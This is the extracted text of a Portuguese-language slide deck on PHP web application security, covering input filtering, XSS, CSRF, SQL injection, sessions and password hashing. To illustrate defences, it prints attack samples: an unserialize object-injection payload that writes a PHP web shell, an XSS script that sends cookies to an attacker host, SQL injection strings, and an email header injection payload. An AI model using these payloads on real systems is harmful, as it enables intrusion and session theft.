SlideShare uma empresa Scribd logo
1 de 139
Baixar para ler offline
PHP & Segurança
Blindando Aplicações Web
Rafael Jaques
@rafajaques
iMasters - PHP Experience 2017
“Conhecereis a verdade e a verdade vos libertará.”
João 8:32
Rafael Jaques
Professor do Instituto Federal de
Educação, Ciência e Tecnologia do Rio
Grande do Sul.
Graduado em Análise e
Desenvolvimento de Sistemas. Pós-
graduado em Gestão e Docência do
Ensino Superior.
Mestre em Educação.
Desenvolvedor web e viciado em
segurança.
www.php-rs.org
Um detalhe…
Não tem como falar de tudo :(
Mas eu tentei…
1
Segurança da
informação
Pontos-chave da SI
Integridade
Confidencialidade
Disponibilidade
2
Planejamento
Planejamento
Projete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
Problemas no servidor
Defesa em
profundidade
Problemas no servidor
Lei do menor
privilégio
3
Melhorando o código
desenvolvido
Como desenvolver um
bom código?
Tudo começa com
BOAS PRÁTICAS
Warning: Cannot modify header information -
headers already sent by (output started at /
path/to/script.php:1) in script.php on line 55
Omita as tags
de fechamento
Boas práticas
Utilize extensões
consistentes
Boas práticas
.php
.inc.php
.inc
.php~
.bak
Utilize extensões
consistentes
Boas práticas
.php
.inc.php
.inc
.php~
.bak
httpd.conf
AddType application/x-httpd-php .php .phtml
Nunca edite arquivos
em produção
Boas práticas
Funções perigosas
exec( )
Não execute bobagem no seu sistema
shell_exec( )
system( ) passthru( )
proc_*( )
Funções perigosas
exec( )
Não execute bobagem no seu sistema
shell_exec( )
system( ) passthru( )
proc_*( )
escapeshellcmd()
escapeshellarg()
Funções perigosas
serialize() unserialize( )
Ex.: https://speakerdeck.com/willdonohoe/practical-php-security
class	Logger	{	
		public	$logFile;	
		public	$buffer;	
		public	$fh;	
		public	function	__destruct()	{	
				$this->WriteBuffer();	
		}	
		public	function	WriteBuffer()	{	
				if	(!$this->fh)	{	
						$this->fh	=	fopen($this->logFile,	'w');	
				}	
				fwrite($this->fh,	$this->buffer);	
		}	
		//	...	
}	
//	...	
$cookieData	=	unserialize($_COOKIE['data']);	
//	...
O:6:"Logger":3:{s:7:"logFile";s:
8:"vish.php";s:6:"buffer";s:27:"<?php
system($_GET["mal"]);";s:2:"fh";N;}
Ex.: https://speakerdeck.com/willdonohoe/practical-php-security
Grava o arquivo vish.php com o conteúdo:
<?php	system($_GET["mal"]);
Ex.: https://speakerdeck.com/willdonohoe/practical-php-security
Primeiro resultado ao procurar no Google por
php store array cookie
Seu ambiente
também precisa
de cuidado e
atenção
Configuração do ambiente
Headers
Podem denunciar o seu servidor
expose_php php.ini
Apache
ServerTokens
Prod Major Minor Min Os Full
Configuração do ambiente
$ lwp-request -edm GET sitedealguem.com.br
200 OK
[...]
Connection: close
Pragma: no-cache
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Type: text/html
X-Meta-Revisit-After: 4 days
X-Powered-By: PHP/5.3.3-7+squeeze2
$ lwp-request -edm GET sitedealguem.com.br
200 OK
[...]
Connection: close
Pragma: no-cache
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Type: text/html
X-Meta-Revisit-After: 4 days
X-Powered-By: PHP/5.3.3
Gerenciar os
erros pode
salvar seu dia!
Gerenciamento de erros
display_errors
error_reporting
log_errors
error_log
Mostrar erros na tela
Nível de erro mostrado
Logar erros
Arquivo de log
set_error_handler( )
error_log( )
Indica uma função para manipular erros
Loga um erro personalizado
Gerenciamento de erros
4
Filtragem de
dados
Filtragem de dados
Bypass
Mistake Origin
Validate
Sanitize
filter_var( )
Validating && Sanitizing
Bloqueie valores indesejados
Filtragem de dados
filter_var()
php.net/filter.filters
FILTER_VALIDATE_* FILTER_SANITIZE_*
Validação de dados
Verifica se
determinado valor
encontra-se dentro dos
parâmetros esperados.
Limpeza de dados
Retira de um
determinado valor todos
os caracteres que
não são permitidos.
Validação
filter_var( , )$valor CONSTANTE_FILTRO
Valor filtrado
bool(false)
Validação
FILTER_VALIDATE_EMAIL
“rafa@php.net" string(12) “rafa@php.net” “1@2.3" bool(false)
5 bool(false) “1@2” bool(false)
“phpit.com.br” bool(false) “joao quem”@site.com
bool(false)
Validação
FILTER_VALIDATE_FLOAT
php.net/filter.filters.validate
FILTER_VALIDATE_BOOLEAN
FILTER_VALIDATE_IP
FILTER_VALIDATE_URL
Limpeza
FILTER_SANITIZE_URL
http://phpit.com.br
http://phpit.com.br£
phpitº.com.br
br¶
§
string(19) "http://phpit.com.br"
string(19) "http://phpit.com.br"
string(12) "phpit.com.br"
string(2) "br"
string(0) ""
FILTER_SANITIZE_STRING
uma string string(10) "uma string"
string(12) "uma string *"
string(21) "uma string&lt;tag&gt;"
Limpeza
<tag>uma string *
<tag>uma string&lt;tag&gt;
Limpeza
FILTER_SANITIZE_EMAIL
php.net/filter.filters.validate
FILTER_SANITIZE_SPECIAL_CHARS
FILTER_SANITIZE_ENCODED
FILTER_SANITIZE_NUMBER_INT
Cuidados com
Formulários
Spoofed Form Submissions
Cuidados com formulários
Abuso de form mail
Cuidados com formulários
Abusodeformmail
<?php
$cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>";
$para = "email@seguro.com";
$assunto = "Contato via site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);
Abusodeformmail
From: Fulaninho <meu@email.com>
To: email@seguro.com
Subject: Contato via site
Esta é a mensagem do e-mail
Esperado
Abusodeformmail
From: Fulaninho <meu@email.com>
To: email@seguro.com
Subject: Contato via site
Esta é a mensagem do e-mail
Esperado
FulaninhonBcc:um@email.com,spam@enviar.com,
Abusodeformmail
From: Fulaninho
Bcc: um@email.com, spam@enviar.com, <meu@email.com>
To: email@seguro.com
Subject: Contato via site
Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim!
Possível
5
Upload de
arquivos
MIME Type do $_FILES
Upload de arquivos
Verificar o tipo da imagem
exif_imagetype( )
Upload de arquivos
php.net/function.exif-imagetype
Upload de arquivos
Ressalvar imagens
Upload de arquivos
6
Injeção
de código
XSSCross-SiteScripting
XSS
Cross-SiteScripting
<script>
document.location = "http://sitedomal.com?c=" + document.cookie
</script>
XSS
Cross-SiteScripting
Filtrar dados externos
Utilize as funções de filtro
Utilize uma white-list
htmlentities( ) strip_tags( )
XSS
Cross-SiteScripting
Utilize as funções de filtro
utf8_decode( ) filter_var( )
XSS
Cross-SiteScripting
Cuidado com injeção de CSS
expression( ) url( )
Métodos

específicos moz-
binding
CSRFCross-SiteRequestForgery
CSRF
Cross-SiteRequestForgery
http://meusite.com/voto.php?id=1
<img src="http://meusite.com/voto.php?id=1" />
CSRF
Cross-SiteRequestForgery
Exigir um token
Solicitar reautenticação
Prefira POST em vez de GET
Limite o tempo de sessão
Verificar Referer Force o uso de seus formulários
uniqid( )
$_SERVER['HTTP_REFERER']
Outros tipos de injeção
XPath LDAP
Bibliotecas de terceiros
Upload de arquivos
Indo além da
Validação de dados
Além da validação
Regras de negócio
Filtrou a entrada? Filtre a saída!
Não confie nos cookies!
7
Segurança em
bancos de dados
SGBDs suportados pelo PHP
php.net/refs.database
dBaseDB++CUBRID
FrontBaseFireBird/InterbasefilePro
IngresInformixIBM DB2
mSQLMongoMaxDB
OracleMySQLM$ SQL
PostgreSQLParadoxOvrimos SQL
Tokyo TyrantSybaseSQLite
Conceitos básicos de
segurança em
Bancos de Dados
Lei do
Menor Privilégio
Não permita
Acesso Remoto
Prefira utilizar
UTF-8
Escapar caracteres
não é seguro
mysql_real_escape_string( )
addslashes( )
SQL e Blind SQL
Injection
SQLInjection
SQLInjection
Injeção de código SQL arbitrário dentro
de uma consulta legítima.
SQLInjection
SQLInjection
1' OR 1='1
SQLInjection
fulano'# ou fulano' --
extension:php mysql_query $_GET
SQLInjection
Blind
Injeção de código arbitrário sem
visualização da saída do banco.
BlindSQLInjection
Prepared Statements
e ORMs
Prepared Statements
Declarações preparadas
Compila as consultas SQL
Utiliza placeholders
Declarações preparadas
INSERT INTO produtos (nome, preco) VALUES (?, ?)
Prepared Statements
ORM
Object-relational mapping
Reduz a escrita de SQL
Acesso ao banco através de classes
ORMs
Exposição de
credenciais
O que acontece
se alguém tiver
acesso aos
seus arquivos?
E se o PHP
parar de
funcionar?
8
Cookies e
sessions
Cookies são client-side
Sessions são server-side
Cookies e Sessions
Cliente Servidor
Requisição HTTP
Resposta HTTP + Set Cookie
Requisição HTTP
Resposta HTTP
Cookies e Sessions
Servidor
session_start()
Verifica se a sessão
existe
Procura pelo SESSID
em um cookie
Procura pelo SESSID
numa querystring
Busca os dados e cria
a $_SESSION
Sim
Sim
Não
Cria uma nova
SESSID
Não
Cookies e Sessions
Roubo de Cookie
(Cookie Theft)
Tome cuidado com
XSS
Cookies também
podem ser roubados
com sniffers
Proteja utilizando HTTPS
Vulnerabilidades
de Sessão
Dados de sessão podem ser
visualizados via sniff quando
não criptografado com HTTPS
Exposição de Sessão
Hospedagens compartilhadas podem
vazar dados dentro dos diretórios com
permissões de leitura a todos
Utilize session_set_save_handler() para alterar o
comportamento de gravação dos dados de sessão
Exposição de Sessão
Roubo de Sessão
(Session Hijacking)
É possível fixar um SID,
forjar ou até mesmo
capturar um cookie!
Roubo de Sessão
Algumas sugestões para evitar roubo de sessão (tente
equilibrar usabilidade e segurança):
Gerar tokens únicos por usuário
Verificar User-Agent e IP
Utilizar sessões apenas via cookies
Roubo de Sessão
Não sacrifique a
usabilidade do projeto!
não
2FA, 3FA, 4FA…
9
Tráfego na
web
Fluxo do tráfego
Cliente Servidor
Requisição HTTP
Resposta HTTP
Requisição HTTP
Resposta HTTP
Sniffers em
redes abertas
Wireshark
Configurando um
certificado SSL
http://www.phpit.com.br/artigos/configurando-ssl-
servidor-de-desenvolvimento-apache.phpit
Gerando um
certificado
para testes
Alternando entre
HTTP e HTTPS
Leves diferenças na
$_SERVER sob HTTPS
$_SERVER
[HTTP_HOST] => localhost
[SERVER_SOFTWARE] => Apache/2.2.22
[SERVER_NAME] => localhost
[SERVER_ADDR] => 127.0.0.1
[SERVER_PORT] => 80
[REMOTE_ADDR] => 127.0.0.1
[DOCUMENT_ROOT] => /var/www
HTTP
[HTTPS] => on
[SSL_TLS_SNI] => localhost
[HTTP_HOST] => localhost
[SERVER_SOFTWARE] => Apache/2.2.22
[SERVER_NAME] => localhost
[SERVER_ADDR] => 127.0.0.1
[SERVER_PORT] => 443
[REMOTE_ADDR] => 127.0.0.1
[DOCUMENT_ROOT] => /var/www
HTTPS
Force a utilização do
protocolo HTTPS
Via aplicação ou via apache
10
Armazenando
senhas
md5…
sha1…
crypt
password_hash
<?php	
$cript	=	password_hash('abacaxi',	CRYPT_BLOWFISH,	['cost'	=>	12]);	
//	Exemplo:	$2y$12$0VeJrCeppjPkEkxwuJNRRudT25GAUprLgzUHq5zX01G2LPJyZjixS	
if	(password_verify('abacaxi',	$cript))	{	
		echo	'Senha	OK';	
}	else	{	
		echo	'Deu	ruim!';	
}
<?php	
$senha	=	'abacaxi';	
$hash	=	'$2y$12$0VeJrCeppjPkEkxwuJNRRudT25GAUprLgzUHq5zX01G2LPJyZjixS';	
//	Pode	aumentar	conforme	a	capacidade	do	seu	servidor	evolui	
$opcoes	=	['cost'	=>	10];	
//	Verifica	se	a	senha	está	OK	
if	(password_verify($senha,	$hash))	{	
		//	Se	deu	certo,	verifica	se	a	senha	atende	às	novas	
		//	opções	(como	algoritmo	ou	custo	diferentes)	
		if	(password_needs_rehash($hash,	PASSWORD_DEFAULT,	$opcoes))	{	
				//	Gera	uma	senha	nova	para	substituir	a	antiga	
				$novoHash	=	password_hash($senha,	PASSWORD_DEFAULT,	$opcoes);	
		}	
}
É possível definir um salt,
mas não é recomendado!
11
Aplicações de verificação
de vulnerabilidades
https://github.com/zaproxy/zaproxy
http://beefproject.com/
https://portswigger.net/burp/
http://www.commixproject.com/
https://github.com/jkingsman/Bishop
http://sqlmap.org/
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
WebGoat - Aplicação Vulnerável para Estudo
Monitorar logs
Manter PHP atualizado
Frameworks
Segurança física
Últimas dicas
Sempre que possível, utilize
código refatorado
Exposição phpinfo()
Cuidados ao enviar e-mails
Segurança no sistema de arquivos
Últimas dicas
Obrigado!
Rafael Jaques
rafa@php.net
rafajaques.com.br / phpit.com.br
@rafajaques
speakerdeck.com/rafajaques
w
@
Imagens utilizadas
• https://flic.kr/p/5Ndwd8
• https://flic.kr/p/i3NEP6
• Icons made by Madebyoliver from
www.flaticon.com is licensed by CC 3.0 BY

Mais conteúdo relacionado

Semelhante a PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017

[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...Rafael Jaques
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de DadosFelipe Plattek
 
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...Rubens Guimarães - MTAC MVP
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaCarlos Santos
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftRubens Guimarães - MTAC MVP
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Helder da Rocha
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguroCharles Fortes
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
PHP Desenvolvimento Seguro
PHP Desenvolvimento SeguroPHP Desenvolvimento Seguro
PHP Desenvolvimento SeguroFlávio Lisboa
 
A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01Reinaldo Junior
 

Semelhante a PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017 (20)

Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Defensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon JuniorDefensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon Junior
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de Dados
 
Segurança em PHP
Segurança em PHPSegurança em PHP
Segurança em PHP
 
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
Workshop Web - Do Pensamento ao Desenvolvimento - Design, Programação e Banco...
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7
 
Sql injection
Sql injectionSql injection
Sql injection
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguro
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
PHP Desenvolvimento Seguro
PHP Desenvolvimento SeguroPHP Desenvolvimento Seguro
PHP Desenvolvimento Seguro
 
A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01
 

Mais de Tchelinux

Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...Tchelinux
 
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio GrandeInsegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio GrandeTchelinux
 
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...Tchelinux
 
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...Tchelinux
 
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio GrandeMe formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio GrandeTchelinux
 
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...Tchelinux
 
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...Tchelinux
 
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...Tchelinux
 
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...Tchelinux
 
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio GrandeConstruindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio GrandeTchelinux
 
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio GrandeBikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio GrandeTchelinux
 
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...Tchelinux
 
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...Tchelinux
 
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...Tchelinux
 
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019Tchelinux
 
Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.Tchelinux
 
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.Tchelinux
 
Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes. Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes. Tchelinux
 
Desenvolvendo jogos com pygame
Desenvolvendo jogos com pygameDesenvolvendo jogos com pygame
Desenvolvendo jogos com pygameTchelinux
 
Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?Tchelinux
 

Mais de Tchelinux (20)

Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
Do Zero ao YouTube em menos de 10 softwares livres - Vinícius Alves Hax - Tch...
 
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio GrandeInsegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
 
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
Explorando Editores de Texto Open Source - Gabriel Prestes Ritta - Tchelinux ...
 
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
Desenvolvendo Jogos com PyGame - Jerônimo Medina Madruga - Tchelinux 2019 Rio...
 
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio GrandeMe formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
Me formei. E agora? - Matheus Cezar - Tchelinux 2019 Rio Grande
 
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
APIs, REST e RESTful: O que os programadores precisam saber? - Marcos Echevar...
 
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
Shell Script: Seu melhor amigo na automatização de instalações e configuraçõe...
 
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
WebRTC: Comunicação aberta em tempo real - Nelson Dutra Junior - Tchelinux 20...
 
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
Introdução à programação funcional com Clojure - Victor Hechel Colares - Tche...
 
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio GrandeConstruindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
Construindo um Data Warehouse - Vítor Resing Plentz - Tchelinux 2019 Rio Grande
 
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio GrandeBikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
Bikeshedding - Márcio Josué Ramos Torres - Tchelinux 2019 Rio Grande
 
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
Produção de textos com Latex - Samuel Francisco Ferrigo - Tchelinux Caxias do...
 
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
A tecnologia no futuro e nas mãos de quem ela estará - Jaqueline Trevizan, Ne...
 
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
oVirt uma solução de virtualização distribuída opensource - Daniel Lara - Tch...
 
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
Sistemas Embarcados e Buildroot - Renato Severo - Tchelinux Caxias do Sul 2019
 
Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.Com que ônibus eu vou? Uma gentil introdução ao Python.
Com que ônibus eu vou? Uma gentil introdução ao Python.
 
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
